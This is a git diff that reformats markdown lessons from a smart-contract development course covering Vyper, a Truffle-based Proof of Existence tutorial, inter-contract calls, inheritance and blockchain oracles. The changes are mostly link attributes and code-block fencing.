b/docs/S03-smart-contracts/M3-python/L2-vyper-overview/index.md index b4abd348..37714af3 100644 --- a/docs/S03-smart-contracts/M3-python/L2-vyper-overview/index.md +++ b/docs/S03-smart-contracts/M3-python/L2-vyper-overview/index.md @@ -1,46 +1,43 @@ -Vyper Overview -============== +# Vyper Overview -Despite there being [concerns about its compiler](https://consensys.net/diligence/audits/2019/10/vyper/){target=_blank} and the slower rate of development compared to Solidity, there are still many resources and ways to build smart contracts using [Vyper.](https://vyper.readthedocs.io/en/latest/){target=_blank} In this section, we'll discuss more about the Vyper language and provide resources where you can learn more about the language. Please note, Vyper is still considered somewhat experimental. +Despite there being [concerns about its compiler](https://consensys.net/diligence/audits/2019/10/vyper/){target=\_blank} and the slower rate of development compared to Solidity, there are still many resources and ways to build smart contracts using [Vyper](https://vyper.readthedocs.io/en/latest/){target=\_blank}. In this section, we'll discuss more about the Vyper language and provide resources where you can learn more about the language. Please note, Vyper is still considered somewhat experimental. -Vyper Design Principles ------------------------ +## Vyper Design Principles -Vyper has a few principles and goals that aim to make it a language that is ideal for programming smart contracts. From [its docs](https://vyper.readthedocs.io/en/latest/){target=_blank} (which we quote extensively in this section): +Vyper has a few principles and goals that aim to make it a language that is ideal for programming smart contracts. From [its docs](https://vyper.readthedocs.io/en/latest/){target=\_blank} (which we quote extensively in this section): -* **Security** is a primary focus for any smart contract language and Vyper maintains that “it should be possible and natural to build secure smart contracts in Vyper.” -* Vyper code should be not just human readable, but make it difficult to write misleading code. This directive is aimed at **making contract audits as successful as possible.** -* Striving for language and compiler **simplicity** support the other goals by keeping confusing complexity under control. +- **Security** is a primary focus for any smart contract language and Vyper maintains that “it should be possible and natural to build secure smart contracts in Vyper.” +- Vyper code should be not just human readable, but make it difficult to write misleading code. This directive is aimed at **making contract audits as successful as possible.** +- Striving for language and compiler **simplicity** support the other goals by keeping confusing complexity under control. -To achieve these goals, Vyper implements the following features: +To achieve these goals, Vyper implements the following features: -* Bounds and overflow checking -* Support for signed integers and decimal fixed point numbers -* Decidability - Reliably compute upper bounds for gas consumption of any function call -* Strong typing -* Small and understandable compiler code -* Limited support for pure functions +- Bounds and overflow checking +- Support for signed integers and decimal fixed point numbers +- Decidability - Reliably compute upper bounds for gas consumption of any function call +- Strong typing +- Small and understandable compiler code +- Limited support for pure functions -There is a notable lack of the following features that are present in Solidity: +There is a notable lack of the following features that are present in Solidity: -* **Modifiers** Modifiers make it easier to write misleading code. It encourages writing code where execution jumps around the source file, making audits more difficult. Vyper encourages inline checks in each function to improve clarity. -* **Class Inheritance** Inheritance also makes it easier to write misleading code. Contracts’ logic is spread across multiple files, decreasing readability and requires additional understanding about how inheritance works in case of conflicts. -* **Inline Assembly** Inline assembly makes it possible to manipulate variables without referencing it directly by name. This makes development and auditing more difficult and can obfuscate bugs. -* **Function overloading** Contracts with overloaded functions can be confusing. It may not be clear which function is being called in specific situations. -* **Operator overloading** -* **Recursive calling** It is not possible to set an upper bound on gas limits in contracts with recursive calling -* **Infinite-length loops** It is not possible to set an upper bound on gas limits in contracts with infinite length loops -* **Binary fixed point** In binary fixed point, approximations are required (e.g. in Python 0.3 + 0.3 + 0.3 + 0.1 != 1). +- **Modifiers** Modifiers make it easier to write misleading code. It encourages writing code where execution jumps around the source file, making audits more difficult. Vyper encourages inline checks in each function to improve clarity. +- **Class Inheritance** Inheritance also makes it easier to write misleading code. Contracts’ logic is spread across multiple files, decreasing readability and requires additional understanding about how inheritance works in case of conflicts. +- **Inline Assembly** Inline assembly makes it possible to manipulate variables without referencing it directly by name. This makes development and auditing more difficult and can obfuscate bugs. +- **Function overloading** Contracts with overloaded functions can be confusing. It may not be clear which function is being called in specific situations. +- **Operator overloading** +- **Recursive calling** It is not possible to set an upper bound on gas limits in contracts with recursive calling +- **Infinite-length loops** It is not possible to set an upper bound on gas limits in contracts with infinite length loops +- **Binary fixed point** In binary fixed point, approximations are required (e.g. in Python 0.3 + 0.3 + 0.3 + 0.1 != 1). As you can see in the list of features that Vyper is lacking, writing clear, understandable code is of primary importance. Vyper is not trying to be a replacement for Solidity. It is meant to be a more security focused smart contract programming language and will likely not be able to do everything that Solidity can. - Additional Links ----------------- +## Additional Links -* [Code: Simple Bank in Vyper (ConsenSys Academy)](https://github.com/ConsenSys-Academy/simple-bank-vyper){target=_blank} This is a Vyper version of our Simple Bank exercise (normally in Solidity) you'll encounter later in this section. -* [Course: Learn Vyper (0.2)](https://www.youtube.com/watch?v=-kZpEmNnzyE&list=PLO5VPQH6OWdWOd-IJTfIzlM2a1yv1rSN-){target=_blank} A comprehensive series of videos that covers Data Types, Functions, Variables, Logic Control, Errors, Interfaces and much more. -* [Tutorial: Develop a DeFi Project using Python (Chainlink)](https://blog.chain.link/develop-python-defi-project/){target=_blank} -* [Tutorial: Vyper and Brownie Contract Development on EVM Chains](https://medium.com/ethereum-classic/vyper-and-brownie-contract-development-on-evm-chains-85ba7fa2feef){target=_blank} An interesting tutorial walking through developing a contract using Vyper and Brownie. -* [Docs: Vyper by Example](https://vyper.readthedocs.io/en/stable/vyper-by-example.html){target=_blank} From the Vyper documentation, a walkthrough of common development patterns in Vyper. +- [Code: Simple Bank in Vyper (ConsenSys Academy)](https://github.com/ConsenSys-Academy/simple-bank-vyper){target=\_blank} This is a Vyper version of our Simple Bank exercise (normally in Solidity) you'll encounter later in this section. +- [Course: Learn Vyper (0.2)](https://www.youtube.com/watch?v=-kZpEmNnzyE&list=PLO5VPQH6OWdWOd-IJTfIzlM2a1yv1rSN-){target=\_blank} A comprehensive series of videos that covers Data Types, Functions, Variables, Logic Control, Errors, Interfaces and much more. +- [Tutorial: Develop a DeFi Project using Python (Chainlink)](https://blog.chain.link/develop-python-defi-project/){target=\_blank} +- [Tutorial: Vyper and Brownie Contract Development on EVM Chains](https://medium.com/ethereum-classic/vyper-and-brownie-contract-development-on-evm-chains-85ba7fa2feef){target=\_blank} An interesting tutorial walking through developing a contract using Vyper and Brownie. +- [Docs: Vyper by Example](https://vyper.readthedocs.io/en/stable/vyper-by-example.html){target=\_blank} From the Vyper documentation, a walkthrough of common development patterns in Vyper. diff --git a/docs/S03-smart-contracts/M4-design-patterns/L1-intro-smart-contracts/index.md b/docs/S03-smart-contracts/M4-design-patterns/L1-intro-smart-contracts/index.md index 0ba2b372..ab9fa0e0 100644 --- a/docs/S03-smart-contracts/M4-design-patterns/L1-intro-smart-contracts/index.md +++ b/docs/S03-smart-contracts/M4-design-patterns/L1-intro-smart-contracts/index.md @@ -1,3 +1,7 @@ -Note: This video shows [the Pet Shop tutorial](https://www.trufflesuite.com/tutorial) contract after it's been completed. This video is older, but is just meant to walkthrough some basic Solidity functions in an example. +Note: This video shows [the Pet Shop tutorial](https://www.trufflesuite.com/tutorial){target=\_blank} contract after it's been completed. This video is older, but is just meant to walkthrough some basic Solidity functions in an example. -Additional Resources:1. [https://www.trufflesuite.com/boxes/pet-shop](https://www.trufflesuite.com/boxes/pet-shop)2.[Pet Shop tutorial](https://www.trufflesuite.com/tutorial)3. [Introductory Contracts](https://sunnya97.gitbooks.io/a-beginner-s-guide-to-ethereum-and-dapp-developme/writing-smart-contracts/introductory-contracts.html) +Additional Resources: + +- [https://www.trufflesuite.com/boxes/pet-shop](https://www.trufflesuite.com/boxes/pet-shop){target=\_blank} +- [Pet Shop tutorial](https://www.trufflesuite.com/tutorial){target=\_blank} +- [Introductory Contracts](https://sunnya97.gitbooks.io/a-beginner-s-guide-to-ethereum-and-dapp-developme/writing-smart-contracts/introductory-contracts.html){target=\_blank} diff --git a/docs/S03-smart-contracts/M4-design-patterns/L10-proof-of-existence/index.md b/docs/S03-smart-contracts/M4-design-patterns/L10-proof-of-existence/index.md index 6aaeaa5b..13aeafa2 100644 --- a/docs/S03-smart-contracts/M4-design-patterns/L10-proof-of-existence/index.md +++ b/docs/S03-smart-contracts/M4-design-patterns/L10-proof-of-existence/index.md @@ -1,6 +1,6 @@ # Writing a Smart Contract (Proof of Existence Exercise) -This walkthrough is based on [this Medium post](https://blog.zeppelin.solutions/the-hitchhikers-guide-to-smart-contracts-in-ethereum-848f08001f05) by Manuel Araoz. +This walkthrough is based on [this Medium post](https://blog.zeppelin.solutions/the-hitchhikers-guide-to-smart-contracts-in-ethereum-848f08001f05){target=\_blank} by Manuel Araoz. ## What is Proof of Existence? @@ -12,23 +12,27 @@ In this walkthrough, we are going to introduce some basic Ethereum smart contrac ### Installing NodeJS -For this example we need NodeJS installed on your machine. There are several ways to get it, but we recommend using NVM (Node Version Manager). This way we can execute `npm install -g` without needing `sudo`, which can be dangerous. +For this example we need NodeJS installed on your machine. There are several ways to get it, but we recommend using NVM (Node Version Manager). This way we can execute `npm install -g` without needing `sudo`, which can be dangerous. -[Here are the official instructions for all operating systems](https://github.com/nvm-sh/nvm#install--update-script). +[Here are the official instructions for all operating systems](https://github.com/nvm-sh/nvm#install--update-script){target=\_blank}. ### Connect to a Blockchain -To develop Ethereum applications, you will need a client to connect to an Ethereum blockchain. You can use [Geth](https://geth.ethereum.org/docs/getting-started), [Parity](https://www.parity.io/) or a development blockchain such as [Ganache](http://truffleframework.com/ganache/). +To develop Ethereum applications, you will need a client to connect to an Ethereum blockchain. You can use [Geth](https://geth.ethereum.org/docs/getting-started){target=\_blank}, [Parity](https://www.parity.io/){target=\_blank} or a development blockchain such as [Ganache](http://truffleframework.com/ganache/){target=\_blank}. -In this walkthrough we will be using the Ganache command line interface, `ganache`. You can find the documentation on `ganache` [here](https://github.com/trufflesuite/ganache). +In this walkthrough we will be using the Ganache command line interface, `ganache`. You can find the documentation on `ganache` [here](https://github.com/trufflesuite/ganache){target=\_blank}. You can install ganache with the following command: - $ npm install -g ganache +```bash +npm install -g ganache +``` And start ganache with - $ ganache +```bash +ganache +``` When ganache starts, you can see that it starts with 10 accounts. Each of those accounts comes prefunded with Ether so we do not need to mine or acquire funds from a faucet. @@ -38,37 +42,42 @@ When ganache starts, you can see that it starts with 10 accounts. Each of those Solidity is the most popular programming language for writing smart contracts in Ethereum. We will be using Solidity throughout this course. -[The Truffle development framework](http://trufflesuite.com/) is one of the most popular development tools for writing Solidity smart contracts for Ethereum. Truffle will help us compile, deploy, and test our smart contracts once they are written. +[The Truffle development framework](http://trufflesuite.com/){target=\_blank} is one of the most popular development tools for writing Solidity smart contracts for Ethereum. Truffle will help us compile, deploy, and test our smart contracts once they are written. To install truffle - $ npm install -g truffle - -`$ npm install -g @truffle/hdwallet-provider` +```bash +npm install -g truffle +npm install -g @truffle/hdwallet-provider +``` Create a project directory and set up truffle - $ mkdir proof-of-existence - $ cd proof-of-existence/ - $ truffle init +```bash +mkdir proof-of-existence +cd proof-of-existence/ +truffle init +``` Truffle sets up a contracts directory where we will write our contracts, a migrations directory where we will write scripts to deploy our contracts, and a test directory where we will write tests to make sure that our contracts work as expected. In `truffle-config.js` we need to specify the network that we will be using. -In the module.exports object, add the following information: +In the module.exports object, add the following information: _Note: This information is cooked in when we initialized truffle, head over the truffle.config.js file, and view the commented out code under networks._ - module.exports = { - networks: { - development: { - host: 'localhost', - port: 8545, - network_id: '*' - } - } - }; +```javascript +module.exports = { + networks: { + development: { + host: "localhost", + port: 8545, + network_id: "*", + }, + }, +}; +``` We use this information because `ganache` is running our development blockchain on `localhost:8545`, and this is what we want to connect to. Specifying `network_id` as `*` means that any truffle will deploy to any network running at `localhost:8545`. @@ -76,11 +85,13 @@ We use this information because `ganache` is running our development blockchain Run the following command in the terminal in your project directory: - $ truffle create contract ProofOfExistence1 +```bash +truffle create contract ProofOfExistence1 +``` This command will create a Solidity file in the contracts directory called `ProofOfExistence1.sol` and set up the boilerplate code for the contract, a contract definition, and a contract constructor. Open `ProofOfExistence.sol` in your text editor. -Update your `ProofOfExistence1.sol` file so that it looks like [this](https://github.com/ConsenSys-Academy/proof-of-existence-exercise/blob/master/contracts/ProofOfExistence1.sol). +Update your `ProofOfExistence1.sol` file so that it looks like [this](https://github.com/ConsenSys-Academy/proof-of-existence-exercise/blob/master/contracts/ProofOfExistence1.sol){target=\_blank}. We are starting with something simple, and we are going to work towards a more complex contract. @@ -90,25 +101,31 @@ Let’s deploy this contract to our test network. Create a new migrations file in the migrations directory called `1_deploy_contracts.js`. In this file add the following: - const ProofOfExistence1 = artifacts.require('ProofOfExistence1.sol'); +```javascript +const ProofOfExistence1 = artifacts.require("ProofOfExistence1.sol"); - module.exports = function(deployer) { - deployer.deploy(ProofOfExistence1); - }; +module.exports = function (deployer) { + deployer.deploy(ProofOfExistence1); +}; +``` This script tells Truffle to get the contract information from `ProofOfExitence.sol` and deploy it to the specified network. Now we just need to tell Truffle to run the deployment. Run the following command in the terminal in your project directory: - $ truffle migrate +```bash +truffle migrate +``` In the terminal output you should see that Truffle compiled `ProofOfExistence.sol`. Then, it runs the migrations using the network ‘development’ that we specified in truffle-config.js. Truffle remembers which contracts it has migrated to the network. So, if the contract has not changed and we want to run the migration again on the same network, we need to use the `--reset` option like so: - $ truffle migrate --reset +```bash +truffle migrate --reset +``` -You can find more information about truffle migrations [here](https://truffleframework.com/docs/truffle/getting-started/running-migrations). +You can find more information about truffle migrations [here](https://truffleframework.com/docs/truffle/getting-started/running-migrations){target=\_blank}. ## Interacting with your Smart Contract @@ -116,41 +133,55 @@ Our contract is now on the development blockchain, so we can interact with it. W Bring up the truffle console with the command: - $ truffle console +```bash +truffle console +``` You should see - truffle(development)> +```bash +truffle(development)> +``` On the first line enter: - const poe = await ProofOfExistence1.deployed() +```javascript +const poe = await ProofOfExistence1.deployed(); +``` This line says that the variable `poe` is an instance of our deployed `ProofOfExistence1.sol`. You can see the address by entering - truffle(development)> poe.address - '0xc490df1850010ea8146c1dd3e961fedbf6b85bef' +```bash +truffle(development)> poe.address +'0xc490df1850010ea8146c1dd3e961fedbf6b85bef' +``` To call the notarize function, we call it like any other javascript function. - truffle(development)> await poe.notarize('Hello World!') - { tx: '0x60ae...2643cbea65', - receipt: 
 - } +```bash +truffle(development)> await poe.notarize('Hello World!') +{ tx: '0x60ae...2643cbea65', + receipt: 
 +} +``` This function causes a state change, so it is a transactional function. Transactional functions return a Promise that resolves to a transaction object. We can get the proof for the string with - truffle(development)> poe.proofFor('Hello World!') - ‘0x7f83b...126d9069’ +```bash +truffle(development)> poe.proofFor('Hello World!') +‘0x7f83b...126d9069’ +``` And check that the contract’s state was correctly changed - truffle(development)> poe.proof() - '0x7f83b...126d9069' +```bash +truffle(development)> poe.proof() +'0x7f83b...126d9069' +``` The hashes match! @@ -160,63 +191,79 @@ Our contract works! But it can only store one proof at a time. Let’s change th Exit the Truffle console and create a new file called ProofOfExistence2.sol: - truffle(development)> .exit - $ truffle create contract ProofOfExistence2 +```bash +truffle(development)> .exit +truffle create contract ProofOfExistence2 +``` -Update the ProofOfExistence2 contract to match [this contract](https://github.com/ConsenSys-Academy/proof-of-existence-exercise/blob/master/contracts/ProofOfExistence2.sol). +Update the ProofOfExistence2 contract to match [this contract](https://github.com/ConsenSys-Academy/proof-of-existence-exercise/blob/master/contracts/ProofOfExistence2.sol){target=\_blank}. The main changes between the first version and this version are that we changed the `proof` variable to a bytes32 array called `proofs` and made it private. We also added a function called `hasProof` to check if a proof has already been stored in the array. Update the migration script `1_deploy_contracts.js` to deploy the new contract and deploy it to the development blockchain. - const ProofOfExistence2 = artifacts.require('ProofOfExistence2.sol'); +```javascript +const ProofOfExistence2 = artifacts.require("ProofOfExistence2.sol"); - module.exports = function(deployer) { - deployer.deploy(ProofOfExistence2); - }; +module.exports = function (deployer) { + deployer.deploy(ProofOfExistence2); +}; +``` Then, migrate the contracts: - $ truffle migrate +```bash +truffle migrate +``` Launch the console to interact with the new contract. - $ truffle console +```bash +truffle console +``` Save the deployed contract - truffle(development)> const poe = await ProofOfExistence2.at(ProofOfExistence2.address) +```bash +truffle(development)> const poe = await ProofOfExistence2.at(ProofOfExistence2.address) +``` We can check for a proof. - truffle(development)> poe.checkDocument('Hello World!') - false +```bash +truffle(development)> poe.checkDocument('Hello World!') +false +``` It returns false because we haven’t added anything yet. Let’s do that now. - truffle(development)> await poe.notarize('Hello World!') - { tx: '0xd6f72...10a6e', - receipt: - { transactionHash: ... - logs: [] } +```bash +truffle(development)> await poe.notarize('Hello World!') +{ tx: '0xd6f72...10a6e', + receipt: + { transactionHash: ... + logs: [] } - truffle(development)> poe.checkDocument('Hello World!') - true +truffle(development)> poe.checkDocument('Hello World!') +true +``` We can check to make sure that our contract will store multiple proofs. - truffle(development)> await poe.notarize('Hello Consensys!') - { tx: '0x8b566...091ace', - receipt: - { transactionHash: ... - logs: [] } +```bash +truffle(development)> await poe.notarize('Hello Consensys!') +{ tx: '0x8b566...091ace', + receipt: + { transactionHash: ... + logs: [] } - truffle(development)> poe.checkDocument('Hello Consensys!') - True +truffle(development)> poe.checkDocument('Hello Consensys!') +True +``` Looping over arrays in smart contracts can get expensive as arrays get longer. Using a mapping is a better solution. -Let’s create a final version in `ProofOfExistence3.sol` using mappings. You can use [this code](https://github.com/ConsenSys-Academy/proof-of-existence-exercise/blob/master/contracts/ProofOfExistence3.sol) for the contract. +Let’s create a final version in `ProofOfExistence3.sol` using mappings. You can use [this code](https://github.com/ConsenSys-Academy/proof-of-existence-exercise/blob/master/contracts/ProofOfExistence3.sol){target=\_blank} for the contract. Modify the deployment script to deploy the new contract and test it in the console to make sure that it behaves just like `ProofOfExistence3.sol`. @@ -228,11 +275,11 @@ The first step in our alternate deployment method is to get an Ethereum account Once the extension is installed, accept the terms of use and enter a password for your account. -You will be shown 12 words that can be used to restore your wallet. A word of caution, do **NOT** publish these words anywhere public. Anyone that has these 12 words has access to your wallet. +You will be shown 12 words that can be used to restore your wallet. A word of caution, do **NOT** publish these words anywhere public. Anyone that has these 12 words has access to your wallet. Now, you have two ways to deploy to a testnet: via a `.env` file or with Truffle dashboard! -Deploying the contract requires us to make a transaction on the testnet, so we need some ether to pay for the transaction. You can get free Goerli ether by going to [this website](https://goerli-faucet.mudit.blog/) and following the instructions. Make sure you enter the Ethereum address for your 1st Metamask account. +Deploying the contract requires us to make a transaction on the testnet, so we need some ether to pay for the transaction. You can get free Goerli ether by going to [this website](https://goerli-faucet.mudit.blog/){target=\_blank} and following the instructions. Make sure you enter the Ethereum address for your 1st Metamask account. Now that we have a testnet account with Ether, we need to configure Truffle to be able to deploy the contract. @@ -240,7 +287,7 @@ Now that we have a testnet account with Ether, we need to configure Truffle to b Our recommended way of deploying contracts is through Truffle dashboard, which allows you to deploy contracts and sign transactions using your MetaMask wallet! You can watch a walkthrough on YouTube! - +[![Hide your Private Keys with Truffle Dashboard](https://img.youtube.com/vi/AnprU4z-q0k/maxresdefault.jpg)](https://www.youtube.com/watch?v=AnprU4z-q0k){target=\_blank} To deploy via dashboard, call `truffle dashboard` in another terminal. This should open up the dashboard on `localhost:24012`. Make sure you are connected to the Goerli network on your MetaMask wallet. @@ -252,27 +299,34 @@ To deploy automatically without having to accept a transaction in dashboard, you Additionally, to deploy contracts to the testnet without having to sync a local node, you can use Infura. Infura allows you to access a fully synced Ethereum node via their API. We will use their API to deploy our contracts to the Goerli testnet. -Go to the [Infura website](https://infura.io/) and sign up for a free account and create a project. Then, get the API key - this will be your project id. +Go to the [Infura website](https://infura.io/){target=\_blank} and sign up for a free account and create a project. Then, get the API key - this will be your project id. Create a `.env` file in your directory and add your private key and project id as follows: - MNEMONIC = - PROJECT_ID = +```bash +MNEMONIC = +PROJECT_ID = +``` Then, uncomment lines 44-47 - require('dotenv').config(); - const { MNEMONIC, PROJECT_ID } = process.env; +```javascript +require('dotenv').config(); +const { MNEMONIC, PROJECT_ID } = process.env; - const HDWalletProvider = require('@truffle/hdwallet-provider'); +const HDWalletProvider = require('@truffle/hdwallet-provider'); +``` For Truffle to derive our ethereum address from the mnemonic, we need to install the Truffle HD wallet provider and dotenv. In the terminal located in the proof-of-existence project root run: - npm i @truffle/hdwallet-provider - npm i --save-dev dotenv +```bash +npm i @truffle/hdwallet-provider +npm i --save-dev dotenv +``` Then, uncomment lines 85 - 91: +```javascript goerli: { provider: () => new HDWalletProvider(MNEMONIC, `https://goerli.infura.io/v3/${PROJECT_ID}`), network_id: 5, // Goerli's id @@ -280,11 +334,14 @@ Then, uncomment lines 85 - 91: timeoutBlocks: 200, // # of blocks before a deployment times out (minimum/default: 50) skipDryRun: true // Skip dry run before migrations? (default: false for public nets ) }, +``` Now, all you need to do is specify the `goerli` network to migrate! - $ truffle migrate --network goerli +```bash +truffle migrate --network goerli +``` The terminal prints the addresses of the deployed contract as well as the transaction hashes of the deployment transactions. This information can also be referenced in the contract artifacts, which are stored in proof-of-existence/build/contracts/. Deployment information is found at the bottom of each JSON file. If you have the Truffle VS Code extension installed, you can see the build files in the Truffle VS Code view. -You can view your deployed contracts at [https://goerli.etherscan.io/](https://goerli.etherscan.io/). Paste in the deployed contract address to have a look you yourself, you can now interact with the deployed contract on the Goerli test network! +You can view your deployed contracts at [https://goerli.etherscan.io/](https://goerli.etherscan.io/){target=\_blank} . Paste in the deployed contract address to have a look you yourself, you can now interact with the deployed contract on the Goerli test network! diff --git a/docs/S03-smart-contracts/M4-design-patterns/L2-inter-contract-execution-part-2/index.md b/docs/S03-smart-contracts/M4-design-patterns/L2-inter-contract-execution-part-2/index.md index b69a6bfa..b18ad7c9 100644 --- a/docs/S03-smart-contracts/M4-design-patterns/L2-inter-contract-execution-part-2/index.md +++ b/docs/S03-smart-contracts/M4-design-patterns/L2-inter-contract-execution-part-2/index.md @@ -1,6 +1,8 @@ -Building from the previous lesson, we'll now see how a contract can use `.call` and `.delegatecall` to interact with other contracts. The code in the video is `pragma 0.5.x`, but [the contract](https://gist.github.com/ConsenSys-Academy/de1b2000f3682f0cfba784d0cb5400e7) compiles with `0.8.x` as well. +# Inter-contract execution: Part 2 -1. [ContextSwitcher.sol](https://gist.github.com/ConsenSys-Academy/de1b2000f3682f0cfba784d0cb5400e7) -2. [.call — Solidity By Example](https://solidity-by-example.org/call/) -3. [.delegatecall — Solidity By Example](https://solidity-by-example.org/delegatecall/) -4. [Calling Other Contracts](https://solidity-by-example.org/calling-contract/) +Building from the previous lesson, we'll now see how a contract can use `.call` and `.delegatecall` to interact with other contracts. The code in the video is `pragma 0.5.x`, but [the contract](https://gist.github.com/ConsenSys-Academy/de1b2000f3682f0cfba784d0cb5400e7){target=\_blank} compiles with `0.8.x` as well. + +- [ContextSwitcher.sol](https://gist.github.com/ConsenSys-Academy/de1b2000f3682f0cfba784d0cb5400e7){target=\_blank} +- [.call — Solidity By Example](https://solidity-by-example.org/call/){target=\_blank} +- [.delegatecall — Solidity By Example](https://solidity-by-example.org/delegatecall/){target=\_blank} +- [Calling Other Contracts](https://solidity-by-example.org/calling-contract/){target=\_blank} diff --git a/docs/S03-smart-contracts/M4-design-patterns/L2-inter-contract-execution/index.md b/docs/S03-smart-contracts/M4-design-patterns/L2-inter-contract-execution/index.md index c2bef8b6..1e6b6658 100644 --- a/docs/S03-smart-contracts/M4-design-patterns/L2-inter-contract-execution/index.md +++ b/docs/S03-smart-contracts/M4-design-patterns/L2-inter-contract-execution/index.md @@ -1,5 +1,7 @@ -In this video, we're going to see how a contract can inherit variables from another contract. The code in the video is `pragma 0.5.x`, but [the contract](https://gist.github.com/ConsenSys-Academy/be7dacf4d313ea4c1347638e921541b5) compiles with `0.8.x` as well. +# Inter-contract execution: Part 1 -1. [BaseCaller.sol](https://gist.github.com/ConsenSys-Academy/be7dacf4d313ea4c1347638e921541b5) -2. [Shadowing Inherited Variables](https://solidity-by-example.org/shadowing-inherited-state-variables/) -3. [Calling Parent Contracts](https://solidity-by-example.org/super/) +In this video, we're going to see how a contract can inherit variables from another contract. The code in the video is `pragma 0.5.x`, but [the contract](https://gist.github.com/ConsenSys-Academy/be7dacf4d313ea4c1347638e921541b5){target=\_blank} compiles with `0.8.x` as well. + +- [BaseCaller.sol](https://gist.github.com/ConsenSys-Academy/be7dacf4d313ea4c1347638e921541b5){target=\_blank} +- [Shadowing Inherited Variables](https://solidity-by-example.org/shadowing-inherited-state-variables/){target=\_blank} +- [Calling Parent Contracts](https://solidity-by-example.org/super/){target=\_blank} diff --git a/docs/S03-smart-contracts/M4-design-patterns/L3-inheritance-and-interfaces/index.md b/docs/S03-smart-contracts/M4-design-patterns/L3-inheritance-and-interfaces/index.md index cddea0a4..d750d9df 100644 --- a/docs/S03-smart-contracts/M4-design-patterns/L3-inheritance-and-interfaces/index.md +++ b/docs/S03-smart-contracts/M4-design-patterns/L3-inheritance-and-interfaces/index.md @@ -1,6 +1,6 @@ -Additional Resources: +# Inheritance and interfaces -1. [Inheritance in Solidity](https://ethereumdev.io/inheritance-in-solidity/) -2. [Inheritance, from the Solidity Docs](https://solidity.readthedocs.io/en/develop/contracts.html#inheritance) -3. [Abstract contracts](https://solidity.readthedocs.io/en/latest/contracts.html#abstract-contracts) -4. [Interfaces](https://solidity.readthedocs.io/en/latest/contracts.html#interfaces) +- [Inheritance in Solidity](https://ethereumdev.io/inheritance-in-solidity/){target=\_blank} +- [Inheritance, from the Solidity Docs](https://solidity.readthedocs.io/en/develop/contracts.html#inheritance){target=\_blank} +- [Abstract contracts](https://solidity.readthedocs.io/en/latest/contracts.html#abstract-contracts){target=\_blank} +- [Interfaces](https://solidity.readthedocs.io/en/latest/contracts.html#interfaces){target=\_blank} diff --git a/docs/S03-smart-contracts/M4-design-patterns/L4-oracles/index.md b/docs/S03-smart-contracts/M4-design-patterns/L4-oracles/index.md index b1c20202..62500f91 100644 --- a/docs/S03-smart-contracts/M4-design-patterns/L4-oracles/index.md +++ b/docs/S03-smart-contracts/M4-design-patterns/L4-oracles/index.md @@ -2,40 +2,41 @@ In our discussion blockchain primitives, we discussed how public blockchain networks coordinate these powerful tools to create a network state that can be established and maintained by network participants. -However, that network state only holds true within the boundaries of the network itself. We can only guarantee the state transitions of the network participants running our blockchain client software. What about data that exists outside this network, specifically what about "real world" data, such as weather reports, incident details or stock prices? +However, that network state only holds true within the boundaries of the network itself. We can only guarantee the state transitions of the network participants running our blockchain client software. What about data that exists outside this network, specifically what about "real world" data, such as weather reports, incident details or stock prices? -Additionally, what if we'd like to interact with external computation in the outside world? A machine learning algorithm, a random number generator, or an event-driven task automation would all be examples of external computation that would be essential to building feature rich smart contracts. +Additionally, what if we'd like to interact with external computation in the outside world? A machine learning algorithm, a random number generator, or an event-driven task automation would all be examples of external computation that would be essential to building feature rich smart contracts. Such data and external computation exist but they are beyond the _trust boundary_ established by our blockchain protocols. -One way blockchain developers have tried to bridge the gap is through what are called **off-chain [oracles.](https://en.wikipedia.org/wiki/Blockchain_oracle)** Off-chain oracles are agents that find and verify real-world information and submit them to the blockchain to be used by smart contracts. They can trigger smart contract executions when the data is obtained or predefined conditions are meet (e.g. time, weather, tracking, payments). Off-chain oracles are provided by organizations like [Provable Things](https://provable.xyz/){target=_blank}, [Chainlink Labs,](https://chain.link/){target=_blank} and more. +One way blockchain developers have tried to bridge the gap is through what are called **off-chain [oracles](https://en.wikipedia.org/wiki/Blockchain_oracle){target=\_blank}**. Off-chain oracles are agents that find and verify real-world information and submit them to the blockchain to be used by smart contracts. They can trigger smart contract executions when the data is obtained or predefined conditions are meet (e.g. time, weather, tracking, payments). Off-chain oracles are provided by organizations like [Provable Things](https://provable.xyz/){target=\_blank}, [Chainlink Labs](https://chain.link/){target=\_blank} and more. -Please note that DeFi has led to on-chain oracles, particularly dealing with token prices, which we will discuss more in the section on DeFi. Such examples of on-chain oracles are [Chainlink's Data Feeds](https://docs.chain.link/docs/get-the-latest-price/){target=_blank}, Uniswap's [Observations](https://docs.uniswap.org/protocol/concepts/V3-overview/oracle){target=_blank}, and MakerDAO's [Feeds](https://developer.makerdao.com/feeds/){target=_blank}. +Please note that DeFi has led to on-chain oracles, particularly dealing with token prices, which we will discuss more in the section on DeFi. Such examples of on-chain oracles are [Chainlink's Data Feeds](https://docs.chain.link/docs/get-the-latest-price/){target=\_blank}, Uniswap's [Observations](https://docs.uniswap.org/protocol/concepts/V3-overview/oracle){target=\_blank}, and MakerDAO's [Feeds](https://developer.makerdao.com/feeds/){target=\_blank}. -A smart contract using oracles in some facet is often referred to as a [Hybrid Smart Contract](https://blog.chain.link/hybrid-smart-contracts-explained/){target=_blank}. +A smart contract using oracles in some facet is often referred to as a [Hybrid Smart Contract](https://blog.chain.link/hybrid-smart-contracts-explained/){target=\_blank}. ## Trust It's extremely important to understand oracles like the ones we're discussing here can require trust. Understanding where the data is coming from is essential to running a decentralized smart contract. When using oracles, it's important to build in smart contract mechanisms that can anticipate errors or possible corruption, as oracles can succumb to many attack vectors. -Having a single oracle or a single data source delivering your data or executing your computation creates a single source of failure for your smart contract, and means your decentralized application isn't actually decentralized. You'll want to make sure the oracle network you're working with is executing in a context as decentralized as possible. For example, if you want pricing data, you get the pricing data from many exchanges, and many independent blockchain oracles deliver this data. +Having a single oracle or a single data source delivering your data or executing your computation creates a single source of failure for your smart contract, and means your decentralized application isn't actually decentralized. You'll want to make sure the oracle network you're working with is executing in a context as decentralized as possible. For example, if you want pricing data, you get the pricing data from many exchanges, and many independent blockchain oracles deliver this data. -It's important to know, that just setting up an oracle service yourself can mean your application is centralized, and possibly doesn't have the highest quality data or execution. So we want to avoid setting these up ourselves, but also do our due diligence to make sure the system we are working with is decentralized. +It's important to know, that just setting up an oracle service yourself can mean your application is centralized, and possibly doesn't have the highest quality data or execution. So we want to avoid setting these up ourselves, but also do our due diligence to make sure the system we are working with is decentralized. -Services such as Chainlink have built more decentralized networks to hedge against the centralization of trust, you can read more about how Chainlink does that [here](https://docs.chain.link/docs/architecture-decentralized-model/){target=_blank} and see an overview of decentralized oracles 